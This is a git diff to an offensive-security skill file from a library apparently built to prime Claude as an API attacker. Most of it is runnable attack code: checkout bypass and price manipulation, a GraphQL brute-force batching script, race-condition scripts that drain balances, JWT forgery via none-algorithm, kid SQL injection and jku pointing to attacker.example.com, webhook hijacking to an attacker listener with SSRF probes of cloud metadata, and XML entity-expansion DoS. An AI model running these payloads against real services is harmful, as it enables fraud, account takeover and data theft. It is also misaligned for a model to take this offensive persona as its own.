Skip to content

claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.

Add network-attacks skill + final agent refinements

Claudef7a0553063c7
diff --git a/Skills/api/offensive-api-abuse/SKILL.md b/Skills/api/offensive-api-abuse/SKILL.md
index 798f03a..8b7aa8d 100644
--- a/Skills/api/offensive-api-abuse/SKILL.md
+++ b/Skills/api/offensive-api-abuse/SKILL.md
@@ -27,77 +27,59 @@ You are conducting authorized security assessments targeting the business logic
Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.
```bash
-# Example: E-commerce checkout bypass
+# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
+# Attack: skip payment and go directly to confirm
-# Step 1: Add item to cart
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items" | jq .
-# Step 2: Apply coupon
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "SAVE20"}' \
"https://target.example.com/api/v1/cart/coupon" | jq .
-# Step 3: Attempt to skip payment and go directly to confirm
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+# Skip payment -- attempt direct order confirmation
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "CART-12345"}' \
"https://target.example.com/api/v1/orders/confirm" | jq .
```
```bash
-# Price manipulation: modify cart after price calculation
-# 1. Add expensive item to trigger free shipping
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+# Price manipulation: add expensive item for free shipping, calculate, remove it
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items"
-# 2. Calculate total (should qualify for free shipping)
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/calculate"
-# 3. Remove expensive item, keep free shipping benefit
-curl -s -X DELETE \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
-# 4. Proceed to payment with manipulated total
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"payment_method": "card_on_file"}' \
"https://target.example.com/api/v1/cart/pay"
```
```bash
-# State manipulation: exploit state transitions
-# Test if you can revert an order to a modifiable state after payment
-curl -s -X PATCH \
- -H "Authorization: Bearer $TOKEN" \
+# State manipulation, negative quantities, currency confusion
+curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "pending"}' \
"https://target.example.com/api/v1/orders/ORD-5001"
-# Test negative quantity / negative price injection
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": -1}' \
"https://target.example.com/api/v1/cart/items"
-# Test currency confusion
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"amount": 100, "currency": "IDR"}' \
"https://target.example.com/api/v1/payments"
@@ -109,21 +91,14 @@ curl -s -X POST \
GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.
-Introspection for full schema discovery:
-
```bash
-# Full introspection query
-curl -s -X POST \
- -H "Content-Type: application/json" \
+# Full introspection query -- extract types and mutations
+curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
-```
-```bash
-# Extract mutations (write operations)
-curl -s -X POST \
- -H "Content-Type: application/json" \
+curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
@@ -134,83 +109,46 @@ Batching for brute-force amplification -- send multiple authentication attempts
```python
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
-import requests
-import json
-import sys
+import requests, json, sys
TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50
-def build_batch(email, passwords):
- """Build a batched GraphQL query with multiple login attempts."""
- queries = []
- for i, pwd in enumerate(passwords):
- queries.append({
- "query": f"""
- mutation attempt_{i} {{
- login(email: "{email}", password: "{pwd}") {{
- token
- success
- message
- }}
- }}
- """
- })
- return queries
-
def run_batch_brute(email, wordlist_path):
with open(wordlist_path) as f:
passwords = [line.strip() for line in f if line.strip()]
for i in range(0, len(passwords), BATCH_SIZE):
batch = passwords[i:i + BATCH_SIZE]
- payload = build_batch(email, batch)
-
- resp = requests.post(
- TARGET,
- json=payload,
- headers={"Content-Type": "application/json"}
- )
-
+ payload = [
+ {"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
+ for j, pwd in enumerate(batch)
+ ]
+ resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
if resp.status_code == 429:
- print(f"[!] Rate limited at batch starting index {i}")
+ print(f"[!] Rate limited at batch index {i}")
break
-
- results = resp.json()
- for j, result in enumerate(results):
- data = result.get("data", {}).get("login", {})
- if data.get("success"):
- print(f"[+] Valid credentials: {email}:{batch[j]}")
- print(f" Token: {data.get('token', 'N/A')}")
+ for j, result in enumerate(resp.json()):
+ if result.get("data", {}).get("login", {}).get("success"):
+ print(f"[+] Valid: {email}:{batch[j]}")
return
- elif data.get("message"):
- pass # Silently skip failures
-
- print(f" Tested batch {i // BATCH_SIZE + 1} ({len(batch)} attempts in 1 request)")
+ print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")
if __name__ == "__main__":
run_batch_brute(sys.argv[1], sys.argv[2])
```
-Query depth exploitation for denial of service:
-
```bash
-# Deeply nested query to exhaust server resources
-curl -s -X POST \
- -H "Content-Type: application/json" \
+# Query depth exploitation for denial of service
+curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
- -d '{
- "query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"
- }' \
+ -d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}' \
"https://target.example.com/graphql"
# Field duplication for response amplification
-curl -s -X POST \
- -H "Content-Type: application/json" \
+curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
- -d '{
- "query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"
- }' \
+ -d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}' \
"https://target.example.com/graphql"
```
@@ -221,85 +159,32 @@ curl -s -X POST \
Pagination mechanisms can leak total record counts, expose data through cursor manipulation, and allow complete database enumeration when not properly constrained.
```bash
-# Probe pagination boundaries
+# Probe pagination boundaries and abuse page size
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=1&per_page=1" | \
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
-# Request maximum page size
curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?page=1&per_page=999999" | \
- jq 'length'
+ "https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
-# Negative page numbers
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
```
```bash
# Cursor-based pagination manipulation
-# Decode cursor (often base64-encoded identifiers)
-echo "eyJpZCI6MTAwMX0=" | base64 -d
-# Output: {"id":1001}
+echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001}
# Forge a cursor to access arbitrary records
forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
-# Test sort parameter injection for data ordering attacks
+# Sort and filter parameter injection
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq .
-
-# Filter parameter injection
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?role=admin&is_active=true" | jq .
-```
-
-```python
-#!/usr/bin/env python3
-"""Complete pagination-based data exfiltration."""
-import requests
-import json
-import time
-
-TARGET = "https://target.example.com/api/v1/records"
-TOKEN = "YOUR_TOKEN"
-HEADERS = {"Authorization": f"Bearer {TOKEN}"}
-
-def exfiltrate_all():
- page = 1
- all_records = []
-
- while True:
- resp = requests.get(
- TARGET,
- params={"page": page, "per_page": 100},
- headers=HEADERS
- )
-
- if resp.status_code != 200:
- print(f"[!] Stopped at page {page}: HTTP {resp.status_code}")
- break
-
- data = resp.json()
- records = data.get("results", data.get("data", []))
-
- if not records:
- break
-
- all_records.extend(records)
- print(f" Page {page}: {len(records)} records (total: {len(all_records)})")
- page += 1
- time.sleep(0.5) # Respectful pacing
-
- print(f"[+] Exfiltrated {len(all_records)} total records")
- with open("exfiltrated_records.json", "w") as f:
- json.dump(all_records, f, indent=2)
-
-exfiltrate_all()
```
---
@@ -310,15 +195,13 @@ Webhook configurations allow you to redirect server-initiated callbacks to attac
```bash
# Register a webhook pointing to your controlled server
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker-listener.example.com/webhook",
"events": ["user.created", "order.completed", "payment.received"],
"secret": "attacker_secret"
- }' \
- "https://target.example.com/api/v1/webhooks" | jq .
+ }' "https://target.example.com/api/v1/webhooks" | jq .
# List existing webhooks to discover internal URLs
curl -s -H "Authorization: Bearer $TOKEN" \
@@ -331,39 +214,16 @@ internal_targets=(
"http://127.0.0.1:8080/admin"
"http://169.254.169.254/latest/meta-data/"
"http://internal-api.local:3000/health"
- "http://redis.internal:6379/"
"http://elasticsearch.internal:9200/_cat/indices"
)
for target_url in "${internal_targets[@]}"; do
- resp=$(curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+ resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"url\": \"${target_url}\", \"events\": [\"test.ping\"]}" \
"https://target.example.com/api/v1/webhooks")
- echo "Target: ${target_url}"
- echo "Response: ${resp}" | head -c 200
- echo -e "\n---"
+ echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)"
done
-
-# Trigger a webhook delivery and inspect what the server sends
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/webhooks/WH-001/test" | jq .
-```
-
-```bash
-# Modify existing webhook to redirect callbacks
-# First, find webhook IDs
-webhook_id=$(curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/webhooks" | jq -r '.[0].id')
-
-# Update to attacker URL
-curl -s -X PUT \
- -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"url": "https://attacker-listener.example.com/capture"}' \
- "https://target.example.com/api/v1/webhooks/${webhook_id}" | jq .
```
---
@@ -375,78 +235,36 @@ Race conditions occur when APIs fail to properly serialize concurrent requests a
```python
#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
-import asyncio
-import aiohttp
-import time
+import asyncio, aiohttp
TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
-HEADERS = {
- "Authorization": f"Bearer {TOKEN}",
- "Content-Type": "application/json"
-}
-
-async def send_request(session, url, method="POST", data=None):
- """Send a single request and return status + body."""
- async with session.request(method, url, json=data, headers=HEADERS) as resp:
+HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
+
+async def send_request(session, url, data=None):
+ async with session.post(url, json=data, headers=HEADERS) as resp:
body = await resp.json()
return {"status": resp.status, "body": body}
-async def race_coupon_redeem(coupon_code, num_requests=20):
- """Race condition: redeem a single-use coupon multiple times."""
+async def race_coupon_redeem(coupon_code, n=20):
+ """Redeem a single-use coupon multiple times via race condition."""
async with aiohttp.ClientSession() as session:
- tasks = [
- send_request(
- session,
- f"{TARGET}/cart/coupon",
- data={"coupon_code": coupon_code}
- )
- for _ in range(num_requests)
- ]
+ tasks = [send_request(session, f"{TARGET}/cart/coupon",
+ {"coupon_code": coupon_code}) for _ in range(n)]
results = await asyncio.gather(*tasks)
-
successes = [r for r in results if r["status"] == 200]
- print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{num_requests} times")
- for r in successes:
- print(f" Discount applied: {r['body'].get('discount', 'N/A')}")
+ print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")
-async def race_balance_transfer(num_requests=20):
- """Race condition: drain account by sending parallel transfers."""
+async def race_balance_transfer(n=20):
+ """Drain account by sending parallel transfers exceeding balance."""
async with aiohttp.ClientSession() as session:
- tasks = [
- send_request(
- session,
- f"{TARGET}/transfers",
- data={
- "to_account": "ATTACKER-ACCT",
- "amount": 100,
- "currency": "USD"
- }
- )
- for _ in range(num_requests)
- ]
+ tasks = [send_request(session, f"{TARGET}/transfers",
+ {"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
+ for _ in range(n)]
results = await asyncio.gather(*tasks)
-
successes = [r for r in results if r["status"] in (200, 201)]
- print(f"[+] Transfers succeeded: {len(successes)}/{num_requests}")
total = sum(r["body"].get("amount", 0) for r in successes)
- print(f" Total transferred: {total}")
-
-async def race_vote_manipulation(item_id, num_requests=50):
- """Race condition: bypass one-vote-per-user restriction."""
- async with aiohttp.ClientSession() as session:
- tasks = [
- send_request(
- session,
- f"{TARGET}/items/{item_id}/vote",
- data={"vote": "up"}
- )
- for _ in range(num_requests)
- ]
- results = await asyncio.gather(*tasks)
-
- successes = [r for r in results if r["status"] in (200, 201)]
- print(f"[+] Votes registered: {len(successes)}/{num_requests}")
+ print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")
if __name__ == "__main__":
asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
@@ -455,10 +273,8 @@ if __name__ == "__main__":
```bash
# Race condition using GNU parallel with curl
-# Test parallel coupon redemption
seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n" \
- -X POST \
- -H "Authorization: Bearer '"$TOKEN"'" \
+ -X POST -H "Authorization: Bearer '"$TOKEN"'" \
-H "Content-Type: application/json" \
-d '\''{"coupon_code": "SINGLE-USE"}'\'' \
"https://target.example.com/api/v1/cart/coupon"'
@@ -471,17 +287,12 @@ seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n"
JSON Web Tokens often carry authorization decisions client-side. You exploit weaknesses in token generation, validation, and cryptographic implementation.
```bash
-# Decode JWT without verification
+# Decode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
jwt_tool "$JWT_TOKEN"
+jwt_tool "$JWT_TOKEN" -X a # Algorithm confusion
+jwt_tool "$JWT_TOKEN" -X n # None algorithm
-# Algorithm confusion: change RS256 to HS256
-# The server's RSA public key becomes the HMAC secret
-jwt_tool "$JWT_TOKEN" -X a
-
-# None algorithm attack
-jwt_tool "$JWT_TOKEN" -X n
-
-# Test with algorithm set to none, None, NONE, nOnE
+# Manual none-algorithm variants
for alg in "none" "None" "NONE" "nOnE"; do
header=$(echo -n "{\"alg\":\"${alg}\",\"typ\":\"JWT\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
@@ -494,72 +305,42 @@ done
```
```bash
-# kid (Key ID) injection for path traversal or SQL injection
-# Craft token with kid pointing to a known file
+# kid (Key ID) injection -- path traversal and SQL injection
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
-
-# kid SQL injection
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"
```
```bash
-# jku (JWK Set URL) abuse: point to attacker-controlled JWKS
-# 1. Generate an RSA keypair
+# jku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
-# 2. Create JWKS file and host it
python3 -c "
-import json
-from cryptography.hazmat.primitives import serialization
-from cryptography.hazmat.primitives.asymmetric import rsa
-from cryptography.hazmat.backends import default_backend
-import base64
-
+import json, base64
+from cryptography.hazmat.primitives.serialization import load_pem_public_key
with open('attacker_pub.pem', 'rb') as f:
- pub_key = serialization.load_pem_public_key(f.read(), backend=default_backend())
-
-numbers = pub_key.public_numbers()
-n = base64.urlsafe_b64encode(numbers.n.to_bytes(256, 'big')).rstrip(b'=').decode()
-e = base64.urlsafe_b64encode(numbers.e.to_bytes(3, 'big')).rstrip(b'=').decode()
-
-jwks = {
- 'keys': [{
- 'kty': 'RSA',
- 'kid': 'attacker-key-1',
- 'use': 'sig',
- 'n': n,
- 'e': e
- }]
-}
+ pub = load_pem_public_key(f.read())
+n = pub.public_numbers()
+jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
+ 'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
+ 'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
print(json.dumps(jwks, indent=2))
" > jwks.json
-# 3. Forge token with jku pointing to attacker JWKS
jwt_tool "$JWT_TOKEN" -I \
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json" \
-hc kid -hv "attacker-key-1" \
- -S rs256 \
- -pr attacker_key.pem
+ -S rs256 -pr attacker_key.pem
```
```bash
-# Claim tampering: modify payload claims
-# Escalate role
+# Claim tampering with a known or brute-forced secret
jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
-
-# Change user identity
jwt_tool "$JWT_TOKEN" -I -pc sub -pv "[email protected]" -S hs256 -p "$KNOWN_SECRET"
-
-# Extend token lifetime
jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
-
-# Add claims that may grant access
-jwt_tool "$JWT_TOKEN" -I \
- -pc is_admin -pv true \
- -pc permissions -pv '["admin","superuser"]' \
- -S hs256 -p "$KNOWN_SECRET"
+jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true \
+ -pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
```
---
@@ -570,65 +351,26 @@ API keys leak through predictable channels. You systematically search for them a
```bash
# Search public repositories for leaked keys
-# Use GitHub code search (requires auth)
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}' \
- --method GET \
- -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
+ --method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
-# Search for specific key patterns
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}' \
- --method GET \
- -f "q=org:target-org AKIA OR sk_live OR rk_live"
+ --method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
```
```bash
-# Client-side key extraction from web applications
-# Download and search JavaScript bundles
+# Client-side key extraction from JavaScript bundles
curl -s "https://target.example.com/" | \
- grep -oE 'src="[^"]*\.js[^"]*"' | \
- sed 's/src="//;s/"//' | while read -r js_url; do
- full_url="https://target.example.com${js_url}"
- echo "=== Scanning: ${full_url} ==="
- curl -s "$full_url" | grep -oiE \
- '(api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|secret[_-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]'
+ grep -oE 'src="[^"]*\.js[^"]*"' | sed 's/src="//;s/"//' | while read -r js_url; do
+ echo "=== Scanning: https://target.example.com${js_url} ==="
+ curl -s "https://target.example.com${js_url}" | grep -oiE \
+ '(api[_-]?key|api[_-]?secret|access[_-]?token|secret[_-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]'
done
-```
-```bash
-# Extract keys from mobile app bundles (APK)
-# After decompiling with apktool or jadx
-grep -rE '(api_key|apiKey|API_KEY|secret|token)\s*=\s*"[A-Za-z0-9+/=_-]{16,}"' \
- ./decompiled_app/
-
-# Search source maps if exposed
-curl -s "https://target.example.com/static/js/main.chunk.js.map" | \
- python3 -c "
-import sys, json
-data = json.load(sys.stdin)
-for source in data.get('sources', []):
- print(source)
-" 2>/dev/null
-```
-
-```bash
# Error message key leakage
-# Trigger verbose errors that may expose keys
-curl -s -X POST \
- -H "Content-Type: application/json" \
- -d '{"invalid": true}' \
- "https://target.example.com/api/v1/connect" | \
+curl -s -X POST -H "Content-Type: application/json" \
+ -d '{"invalid": true}' "https://target.example.com/api/v1/connect" | \
grep -iE '(key|token|secret|password|credential)'
-
-# Stack trace extraction
-curl -s -H "Accept: application/json" \
- "https://target.example.com/api/v1/debug/error" | \
- python3 -c "
-import sys, json, re
-data = sys.stdin.read()
-secrets = re.findall(r'(?:key|token|secret|password|api)[_-]?\w*[\"'\'':\s=]+([A-Za-z0-9+/=_-]{20,})', data, re.I)
-for s in secrets:
- print(f'Potential secret: {s}')
-"
```
---
@@ -639,34 +381,22 @@ Production APIs frequently expose endpoints not listed in public documentation.
```bash
# Parameter discovery with Arjun
-arjun -u "https://target.example.com/api/v1/users" \
- -m GET \
- --headers "Authorization: Bearer $TOKEN" \
- -t 10
-
-# Discover hidden parameters on POST endpoints
-arjun -u "https://target.example.com/api/v1/users" \
- -m POST \
- --headers "Authorization: Bearer $TOKEN" \
- -t 10
-```
+arjun -u "https://target.example.com/api/v1/users" -m GET \
+ --headers "Authorization: Bearer $TOKEN" -t 10
+arjun -u "https://target.example.com/api/v1/users" -m POST \
+ --headers "Authorization: Bearer $TOKEN" -t 10
-```bash
# ParamSpider for URL parameter mining from web archives
paramspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif
+```
-# Combine with manual endpoint brute-forcing
+```bash
+# Endpoint brute-forcing with predictable naming patterns
wordlist=(
"internal" "debug" "test" "dev" "staging" "beta"
"admin" "manage" "console" "dashboard" "config"
- "health" "status" "metrics" "info" "version"
- "graphql" "playground" "explorer" "swagger" "docs"
- "backup" "export" "import" "migrate" "sync"
- "batch" "bulk" "queue" "worker" "cron"
- "webhook" "callback" "notify" "event" "hook"
- "upload" "download" "file" "attachment" "media"
- "search" "filter" "query" "lookup" "suggest"
- "reset" "verify" "confirm" "activate" "deactivate"
+ "health" "status" "metrics" "graphql" "playground"
+ "backup" "export" "import" "batch" "bulk" "webhook"
)
for word in "${wordlist[@]}"; do
@@ -674,72 +404,32 @@ for word in "${wordlist[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"${TARGET}${prefix}/${word}")
- if [ "$code" != "404" ] && [ "$code" != "000" ]; then
- echo "[${code}] ${prefix}/${word}"
- fi
+ [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}"
done
done
-```
-
-```bash
-# Source map analysis for route discovery
-# Check if source maps are publicly accessible
-for ext in ".js.map" ".chunk.js.map" ".bundle.js.map"; do
- curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" \
- "https://target.example.com/static/js/main${ext}"
-done
-# Extract API routes from downloaded JavaScript
+# Extract API routes from JavaScript bundles
curl -s "https://target.example.com/static/js/main.js" | \
grep -oE '["'\'']/api/[a-zA-Z0-9/_-]+["'\'']' | sort -u
-
-# Search for route definitions in React/Angular/Vue bundles
-curl -s "https://target.example.com/static/js/main.js" | \
- grep -oE '(path|route|endpoint|url)\s*:\s*["\x27]/[^"\x27]+["\x27]' | sort -u
```
---
## Resource Exhaustion and Algorithmic Complexity
-Target API operations that have disproportionate server-side cost relative to request complexity. These attacks cause denial of service through legitimate-looking requests.
+Target API operations that have disproportionate server-side cost relative to request complexity.
```bash
-# Regex denial of service via search parameters
-# Craft input that triggers catastrophic backtracking
-curl -s -o /dev/null -w "Time: %{time_total}s, Status: %{http_code}\n" \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/search?q=$(python3 -c "print('a' * 50 + '!')")"
-
-# Compare response times for varying input lengths
+# ReDoS via search parameters -- measure response time scaling
for len in 10 20 30 40 50; do
payload=$(python3 -c "print('a' * ${len} + '!')")
curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/search?q=${payload}"
done
-```
-
-```bash
-# File processing abuse
-# Upload a decompression bomb (zip bomb)
-python3 -c "
-import zipfile, io, os
-# Create a small zip containing highly compressible data
-with zipfile.ZipFile('bomb.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
- zf.writestr('payload.txt', '0' * (10 * 1024 * 1024))
-print('Created bomb.zip')
-"
-
-curl -s -o /dev/null -w "%{http_code}" \
- -X POST \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/upload"
# XML entity expansion (Billion Laughs) if XML input accepted
-curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE lolz [
@@ -748,8 +438,7 @@ curl -s -X POST \
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
-<data>&lol4;</data>' \
- "https://target.example.com/api/v1/import"
+<data>&lol4;</data>' "https://target.example.com/api/v1/import"
```
---
@@ -758,21 +447,19 @@ curl -s -X POST \
When you execute these techniques, you generate specific artifacts that defenders monitor for:
-- **Business logic abuse** does not trigger signature-based detection because each individual request is valid. Behavioral analytics that model expected user workflows detect deviations such as checkout steps executed out of order, coupon codes applied in parallel, or state transitions that violate the application state machine. Transaction monitoring systems flag anomalous patterns like duplicate rewards, negative-amount transfers, or currency mismatches.
-
-- **GraphQL batching** produces abnormally large request payloads with multiple operations. API gateways that enforce query complexity limits, depth limits, or operation count limits block these. Slow-query logs capture expensive nested queries. Introspection queries from non-development sources trigger alerts in monitored environments.
+- **Business logic abuse** does not trigger signature-based detection because each individual request is valid. Behavioral analytics detect deviations such as checkout steps executed out of order, coupon codes applied in parallel, or state transitions that violate the application state machine. Transaction monitoring flags duplicate rewards, negative-amount transfers, or currency mismatches.
-- **Pagination abuse** manifests as requests with abnormal page sizes or sequential page fetches at high volume. Data loss prevention systems may alert on bulk data access patterns. API analytics platforms flag accounts that retrieve disproportionately more data than typical users.
+- **GraphQL batching** produces abnormally large request payloads. API gateways with query complexity, depth, or operation count limits block these. Introspection queries from non-development sources trigger alerts.
-- **Webhook manipulation** is detected by webhook registration audit logs. Outbound connection monitoring flags callbacks to unexpected external or internal destinations. SSRF defenses that validate callback URLs against allowlists block internal network targets.
+- **Pagination abuse** manifests as requests with abnormal page sizes or sequential fetches at high volume. DLP systems alert on bulk data access patterns.
-- **Race conditions** produce bursts of identical requests within millisecond windows. Distributed tracing systems capture concurrent state modifications. Database transaction logs show serialization failures or deadlocks triggered by the attack.
+- **Webhook manipulation** is detected by registration audit logs. Outbound connection monitoring flags callbacks to unexpected destinations. SSRF defenses validate callback URLs against allowlists.
-- **JWT attacks** involving algorithm confusion or none-algorithm produce tokens with unexpected header values logged by authentication middleware. Failed signature validation attempts generate auth-layer errors. Tokens with jku or x5u headers pointing to external URLs trigger URL validation alerts.
+- **Race conditions** produce bursts of identical requests within millisecond windows. Distributed tracing captures concurrent state modifications. Database logs show serialization failures.
-- **API key scanning** in source repositories is detected by GitHub Secret Scanning and similar tools. Client-side key usage generates API calls from unexpected IP ranges or user agents.
+- **JWT attacks** involving algorithm confusion produce tokens with unexpected header values logged by auth middleware. Tokens with jku/x5u pointing to external URLs trigger URL validation alerts.
-- **Endpoint enumeration** produces 404 bursts and unusual URL path patterns in access logs. Web application firewalls flag path traversal patterns in endpoint discovery attempts.
+- **Endpoint enumeration** produces 404 bursts and unusual URL path patterns. WAFs flag path traversal patterns in discovery attempts.
---
@@ -781,25 +468,20 @@ When you execute these techniques, you generate specific artifacts that defender
| Phase | Action | Tool |
|-------|--------|------|
| Discovery | Hidden parameter enumeration | Arjun |
-| Discovery | URL parameter mining from archives | ParamSpider |
+| Discovery | URL parameter mining | ParamSpider |
